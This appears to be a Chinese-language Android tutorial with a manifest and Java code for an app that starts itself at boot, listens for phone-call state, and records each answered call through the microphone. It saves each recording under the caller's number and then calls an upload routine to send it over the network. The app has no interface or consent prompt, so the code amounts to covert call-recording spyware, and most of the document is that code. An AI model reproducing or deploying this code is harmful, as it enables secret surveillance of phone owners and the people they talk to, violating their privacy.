开启service听话筒内容

接收开机广播然后开启服务，利用TelephonyManager， MediaRecorder录音，然后上传到网络

service，receiver开机以及权限的注册清单

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="cn.itcast.phonelistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" />
    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        
        <service android:name=".PhoneService"/>
        
        <receiver android:name=".BootBroadcastReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <!-- 在SDCard中创建与删除文件权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!-- 往SDCard写入数据权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 <!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>          
</manifest>

利用PhoneStateListene和MediaRecorder录音

public class PhoneService extends Service {
	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}


	@Override
	public void onCreate() {
		super.onCreate();
		TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
	}
	
	private final class PhoneListener extends PhoneStateListener{
		private String incomingNumber;
		private File file;
		private MediaRecorder mediaRecorder;
		
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_RINGING://来电
					this.incomingNumber = incomingNumber;
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
					file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");
					mediaRecorder = new MediaRecorder();
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					mediaRecorder.prepare();
					mediaRecorder.start();//开始录音
					break;
					
				case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
					if(mediaRecorder != null){
						mediaRecorder.stop();
						mediaRecorder.release();
						mediaRecorder = null;
						uploadFile();
					}
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}

开机后显式激活service

public class BootBroadcastReceiver extends BroadcastReceiver {
	@Override
	public void onReceive(Context context, Intent intent) {
		Intent service = new Intent(context, PhoneService.class);//显式/隐式
		context.startService(service);//Intent激活组件(Service)
	}
}